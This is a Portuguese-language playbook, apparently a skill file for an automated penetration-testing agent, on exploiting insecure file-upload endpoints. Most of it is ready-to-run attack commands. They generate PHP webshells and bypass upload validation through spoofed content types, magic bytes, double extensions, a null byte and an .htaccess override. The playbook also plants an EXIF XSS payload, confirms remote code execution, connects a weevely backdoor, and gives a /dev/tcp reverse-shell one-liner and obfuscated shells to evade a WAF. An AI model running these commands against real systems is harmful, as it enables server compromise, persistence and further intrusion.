---
name: file_upload_exploitation
phase: 4_exploitation
tools: [curl, weevely, python3]
dependencies: [web_service_found]
mitre_tactic: TA0001 (Initial Access), TA0002 (Execution), TA0003 (Persistence)
---

# Objetivo
Explorar funcionalidades de upload de arquivos inseguras para enviar webshells e obter execução remota de código (RCE), utilizando técnicas de bypass de validação de extensão, Content-Type, magic bytes e htaccess override.

# Condições de Execução
- Um serviço web foi identificado no alvo.
- Endpoints de upload foram descobertos (via directory discovery ou navegação).
- O escopo permite testes de exploração em funcionalidades de upload.

# Comandos e Sintaxe

## 1. Descoberta de Endpoints de Upload
```bash
for path in upload api/upload wp-admin/media-new.php admin/upload filemanager/upload api/v1/files; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "{target_url}/$path" 2>&1)
  echo "$code {target_url}/$path"
done 2>&1 | tee {workspace}/upload_discovery.txt
```

## 2. Gerar Webshell (Weevely - PHP)
```bash
weevely generate mundix123 {workspace}/shell.php 2>&1 | tee {workspace}/upload_weevely_gen.txt
```

## 3. Gerar Shell Simples (caso Weevely não disponível)
```bash
echo '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>' > {workspace}/simple_shell.php
echo '<?php echo shell_exec($_REQUEST["c"]); ?>' > {workspace}/cmd_shell.php
```

## 4. Teste de Extensões Aceitas
```bash
for ext in php php5 phtml phar php7 phps shtml inc php.bak; do
  cp {workspace}/simple_shell.php {workspace}/test_upload.$ext
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "{target_url}/upload" -F "file=@{workspace}/test_upload.$ext" 2>&1)
  echo "$code - .$ext"
done 2>&1 | tee {workspace}/upload_extensions.txt
```

## 5. Bypass de Content-Type
```bash
curl -X POST "{target_url}/upload" -F "file=@{workspace}/simple_shell.php;type=image/jpeg" -v 2>&1 | tee {workspace}/upload_ct_jpeg.txt
curl -X POST "{target_url}/upload" -F "file=@{workspace}/simple_shell.php;type=image/png" -v 2>&1 | tee {workspace}/upload_ct_png.txt
curl -X POST "{target_url}/upload" -F "file=@{workspace}/simple_shell.php;type=image/gif" -v 2>&1 | tee {workspace}/upload_ct_gif.txt
```

## 6. Bypass de Magic Bytes
```bash
# GIF Header + PHP
printf 'GIF89a\n<?php system($_GET["cmd"]); ?>' > {workspace}/shell.gif.php
curl -X POST "{target_url}/upload" -F "file=@{workspace}/shell.gif.php;type=image/gif" -v 2>&1 | tee {workspace}/upload_magic_gif.txt

# PNG Header + PHP
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > {workspace}/shell.png.php
curl -X POST "{target_url}/upload" -F "file=@{workspace}/shell.png.php;type=image/png" -v 2>&1 | tee {workspace}/upload_magic_png.txt
```

## 7. Dupla Extensão e Null Byte
```bash
curl -X POST "{target_url}/upload" -F "file=@{workspace}/simple_shell.php;filename=shell.php.jpg" -v 2>&1 | tee {workspace}/upload_double_ext.txt
curl -X POST "{target_url}/upload" -F "file=@{workspace}/simple_shell.php;filename=shell.jpg.php" -v 2>&1 | tee -a {workspace}/upload_double_ext.txt
curl -X POST "{target_url}/upload" -F "file=@{workspace}/simple_shell.php;filename=shell.php%00.jpg" -v 2>&1 | tee -a {workspace}/upload_double_ext.txt
```

## 8. htaccess Override (Apache)
```bash
printf 'AddType application/x-httpd-php .mundix\n' > {workspace}/.htaccess
curl -X POST "{target_url}/upload" -F "file=@{workspace}/.htaccess" -v 2>&1 | tee {workspace}/upload_htaccess.txt
# Se aceito, upload shell com extensão .mundix
cp {workspace}/simple_shell.php {workspace}/image.mundix
curl -X POST "{target_url}/upload" -F "file=@{workspace}/image.mundix" -v 2>&1 | tee -a {workspace}/upload_htaccess.txt
```

## 9. XSS via Metadados EXIF
```bash
cp /usr/share/pixmaps/debian-logo.png {workspace}/xss_image.jpg 2>/dev/null || printf '\xff\xd8\xff\xe0' > {workspace}/xss_image.jpg
exiftool -Comment='<script>alert(document.domain)</script>' {workspace}/xss_image.jpg 2>&1 | tee {workspace}/upload_xss_exif.txt
curl -X POST "{target_url}/upload" -F "file=@{workspace}/xss_image.jpg" -v 2>&1 | tee -a {workspace}/upload_xss_exif.txt
```

## 10. Verificação de Upload Bem-Sucedido
```bash
# Checar diretório de uploads
curl -s "{target_url}/uploads/" 2>&1 | tee {workspace}/upload_listing.txt
curl -s "{target_url}/media/" 2>&1 | tee -a {workspace}/upload_listing.txt
curl -s "{target_url}/files/" 2>&1 | tee -a {workspace}/upload_listing.txt

# Testar RCE
curl -s "{target_url}/uploads/simple_shell.php?cmd=id" 2>&1 | tee {workspace}/upload_rce_verify.txt
curl -s "{target_url}/uploads/simple_shell.php?cmd=whoami" 2>&1 | tee -a {workspace}/upload_rce_verify.txt
```

## 11. Conexão via Weevely (se backdoor ativo)
```bash
weevely {target_url}/uploads/shell.php mundix123 2>&1 | tee {workspace}/upload_weevely_session.txt
```

# Análise de Resultados

## Upload Aceito (HTTP 200/201)
- O upload foi aceito pelo servidor. Verifique se o arquivo é acessível.
- Tente executar: `curl {target_url}/uploads/shell.php?cmd=whoami`
- Se retornar output do sistema → **RCE confirmado, Severidade CRÍTICA**.

## Extension Bypass Bem-Sucedido
- Se uma extensão alternativa (.phtml, .php5, .phar) foi aceita e executada → falha de validação.
- Documente: endpoint, extensão que funcionou, método de bypass.

## Content-Type Bypass
- Se alterar o Content-Type permitiu upload de PHP → validação baseada apenas no header.
- Severidade ALTA.

## Magic Bytes Bypass
- Se adicionar GIF89a permitiu execução de PHP → validação baseada apenas em magic bytes.
- Severidade ALTA.

## Upload Bloqueado
- HTTP 403/415/422: validação ativa no servidor. Tente mais técnicas.
- Se todas as extensões bloqueadas, tente htaccess override ou null byte.
- WAF bloqueando: use encoding alternativo.

## XSS via EXIF
- Se a imagem é exibida e o JavaScript executou → Stored XSS via upload.
- Severidade MÉDIA-ALTA.

# Próximos Passos
- **RCE obtido:** Acione `linux_privilege_escalation` ou `windows_privilege_escalation`.
- **Credenciais encontradas no servidor:** Acione `hash_dumping_and_cracking`.
- **Shell reverso necessário:** Use `bash -i >& /dev/tcp/{lhost}/{lport} 0>&1` via webshell.
- **WAF detectado:** Aplique técnicas de evasão (obfuscação PHP, encoding).

# Tratamento de Erros
- **curl: connection refused:** O endpoint não existe. Tente outros paths.
- **HTTP 413 (Payload Too Large):** Reduza o tamanho do arquivo de upload.
- **HTTP 415 (Unsupported Media Type):** Tente diferentes Content-Types.
- **Weevely não instalado:** `apt-get install -y weevely` ou `pip3 install weevely`.
- **exiftool não instalado:** `apt-get install -y libimage-exiftool-perl`.
- **Timeout:** O servidor pode estar processando. Aumente com `--max-time 60`.
- **WAF blocking PHP content:** Tente ofuscar: `<?php $_GET['a']($_GET['b']); ?>` ou use short tags `<?=system($_GET['c'])?>`.
- **Diretório sem permissão de execução:** O arquivo será baixado, não executado. Registre como vuln de upload sem RCE.
